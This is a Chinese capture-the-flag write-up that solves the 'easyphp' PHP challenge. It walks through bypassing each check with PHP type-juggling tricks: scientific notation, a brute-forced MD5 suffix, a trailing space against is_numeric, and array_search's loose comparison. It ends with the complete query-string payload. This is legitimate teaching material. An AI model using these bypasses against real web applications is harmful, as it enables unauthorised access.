?關鍵詞?江蘇工匠杯 easyphp 攻防世界 ctf wp php弱類型?php類型轉換

目錄

前言

原題地址

?分詞php代碼

魔頭一: $a

魔頭二: $b

大魔頭三之一:$c[“m”]

?大魔頭三之一:$c[“n”]

整合所有的payload

總結

---

前言

小時侯 我們都聽過這樣的童話故事，王子要拯救公主就要越過重重的關卡打敗魔王 集齊鑰匙最終喚醒公主 得到浪漫的結局 。這次的題 會讓你有種相鄰的體驗。翻過層層大山 最終得到flag.

原題地址

攻防世界https://adworld.xctf.org.cn/challenges/list

?

?點擊獲取在線場景 我們的得到一段php代碼

?分詞php代碼

<?php highlight_file(__FILE__); $key1 = 0; $key2 = 0;$a = $_GET['a']; $b = $_GET['b'];if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){if(isset($b) && '8b184b' === substr(md5($b),-6,6)){$key1 = 1;}else{die("Emmm...再想想");}}else{die("Emmm..."); }$c=(array)json_decode(@$_GET['c']); if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){$d = array_search("DGGJ", $c["n"]);$d === false?die("no..."):NULL;foreach($c["n"] as $key=>$val){$val==="DGGJ"?die("no......"):NULL;}$key2 = 1;}else{die("no hack");} }else{die("no"); }if($key1 && $key2){include "Hgfks.php";echo "You're right"."\n";echo $flag; }?> Emmm...

服務端接收get傳參 a b 通過一些列的if運算 得到key1 得到key2 也只有得到了這兩把鑰匙才能包含含有flag的php文件 打印出flag.

魔頭一: $a

看一看 過魔頭一要什么條件

<?php highlight_file(__FILE__); $a = $_GET['a']; if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){echo "成功通過參數a";}else{die("Emmm..."); } ?>

$a傳參不為空 $a的數值要大于600000 $a的長度要小于等于3位

這似乎說是一個矛盾的事情 要數值大于6000000 可以是6000001 這樣長度必定大于3位 一般人會這想... 別急 類似矛盾后面還有...

查看php官網網對intval函數的說明PHP: intval - Manualhttps://www.php.net/manual/zh/function.intval.php

看看官網示例 #1 intval() 例子

?

?重點看看那些小長度 大數值的例子

<?php echo intval(042); ? ? ? ? ? // 34 echo intval(1e10); ? ? ? ? ?// 1410065408 echo intval(0x1A); ? ? ? ? ?// 26 ?>

0x1A為十六進制 最終得到了十進制26 可是三個長度 最大也是0xf（15）到達不了600000 如果能有600001 進制的表示方法就好了這樣我一個10就可以表示600001 了 ...

1e10 最終表示十進制的1410065408 看到這個e有沒有很熟悉 這個就是科學計數法 1e10就是1*10的10次方

我們用9e9傳參 $a 先用本地文件測試一下

?ok 成功通過了a參數

魔頭二: $b

任然跟上一個一樣 先做一個本地的測試文件

<?php highlight_file(__FILE__); $key1 = 0; $b = $_GET['b']; if(isset($b) && '8b184b' === substr(md5($b),-6,6)){$key1 = 1;echo "得到第一把鑰匙".$key1;}else{die("Emmm...再想想");} ?>

傳入參數b 計算參數b md5的散列值 讓它的最后六位為8b184b才能通過

這個容易 暴力的猜測嘛 讓程序去做 我們就用php代碼來算吧

<?php highlight_file(__FILE__); for($b = 1; $b <= 900000; $b++){$c = md5($b);if(isset($b) && '8b184b' === substr(md5($b),-6,6))//取md5的后6位 ? echo "成功 $b:$c";elsecontinue; } ?>

?for循環下很快 我們很快就找到了符合條件的值53724 這樣我們過了 魔頭b了

大魔頭三之一:$c[“m”]

建立本次測試文件$c_"m".php

<?php highlight_file(__FILE__); $c=(array)json_decode(@$_GET['c']); //json_decode — 對 JSON 格式的字符串進行解碼 if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){echo "成功打敗魔頭c[m]"; }else{die("no"); } ?>

閱讀代碼得知 我們傳入c值需是JSON 格式的字符串編碼 且是一個數組

建立本次測試文件 輸出json_decode

有一個鍵值是m的要大于2023 且不能是數字或數字字符串。這又是一個矛盾的組合

<?php $arr = array (//'m'=>2023 //不可以 因為是數字//'m' => "2023" //不可以 因為是數字字符串'm' => "2023 "//以空格結尾的字符串 分析如下 ); echo json_encode($arr); ? ?>

第一次看代碼的時候我也不知道is_numeric的具體作用 這時候我就去翻翻官方手冊 這非常有用的

PHP: is_numeric - Manualhttps://www.php.net/manual/zh/function.is-numeric.php

看看傳入的參數要求了 返回值了 范例了 一般我都會從頭看到尾 瀏覽的過程中我發現一個很重要的信息

?這是函數is_numeric的更新日志 也許我們可以加空格來通過$c[“m”]

用剛才輸出的測試代碼 傳入$c_"m".php

?

?大魔頭三之一:$c[“n”]

建立本地測試文件

<?php highlight_file(__FILE__); ? $c=(array)json_decode(@$_GET['c']); if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){$d = array_search("DGGJ", $c["n"]);//array_search — 在數組中搜索給定的值，如果成功則返回首個相應的鍵名$d === false?die("no..."):NULL;echo "通過\$d";foreach($c["n"] as $key=>$val){$val==="DGGJ"?die("no......"):NULL;//這點val的值不能是"DGGJ"}$key2 = 2;echo "得到鑰匙$key2";}else{die("no hack");} }else{die("no"); } <?php $arr = array ('m' => "2023 "//固定'n' => 待添加 ); echo json_encode($arr); ?>

它要求$c["n"]需是一個數組 數組的成員需是兩個 數組的第一個成員還是一個數組 大概就是這樣子的

’n‘ => array(array(),"")

不多它在后面又有要求了$c["n"]成員要有DGGJ 否者就會死亡。改寫代碼

’n‘ => array(array(),"DGGJ")

后面有一個遍歷$c["n"] 的foreach 若有DGGJ值就會死亡 這又又是一個矛盾的點 那到底要不要DGGL了

...

后面我經歷好多次的嘗試 查官方資料 希望能獲取靈感... 注意在官方手冊里array_search 有一個be careful

這到底是什么值得小心的

?可以看到array_search搜索字符串needle 但它的成員里只有數組0 最終返回int類型0

我在想這個0是不是它的鍵值 如果我把它換為1 那是不是就返回int(1)了

var_dump(array_search('needle', [ 1 => 0 ])); // :3:int 1

通過測試把健值改為1 真就返回1了 這樣就可以了通過最后一關 得到鑰匙了

事實上這又是一個類型不匹配的問題

為什么說又呢 細心的小伙伴會發現上面的代碼有 $c["m"] > 2022)

我們輸入的是數字字符串 這是可以和數字進行比較的 但如果我們輸入的是純字符串與數字做比較 那最終會是 0與2022作比較

因為字符串會變成int類型 在與其他int作比較

任何字符串轉換為int型都將是0 這點可以用(int)"string"做測試

array_search 就存在這樣的問題 他會先把’needle‘ 轉化為int類型 在于0做比較相等就返回它的鍵值

修改本地測試代碼

<?php $arr = array ('m' => "2023 ",//固定//'n' => array(array(),DGGJ)//不可以喲//'n' => array(array(),(int)"DGGJ")//手動字符串轉數字'n' => array(array(),0) ); echo json_encode($arr); ?>

輸出{"m":"2023 ","n":[[],0]}

這樣數數組里的值就沒有DGGJ 這里不用擔心有類型轉換的問題 因為foreach用的是 === 類型嚴格匹配

經過array_search 會返回1 也就是true 它可不等于false $d將是null

?到這里算是通過所有考驗?

整合所有的payload

a=9e9

b=53724

c={"n":[[null],0],"m":"2023 "}

多值get傳參

?a=9e9&b=53724&c={"n":[[],0],"m":"2023 "}

最終通過了層層險阻打敗了魔王得到了鑰匙 迎娶了公主(flag)

總結

這道題還是很有意思的

php對參數類型做的沒那么嚴格 所以有一種說法叫做php弱類型

總結

以上是生活随笔為你收集整理的江苏工匠杯_easyphp_wp的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。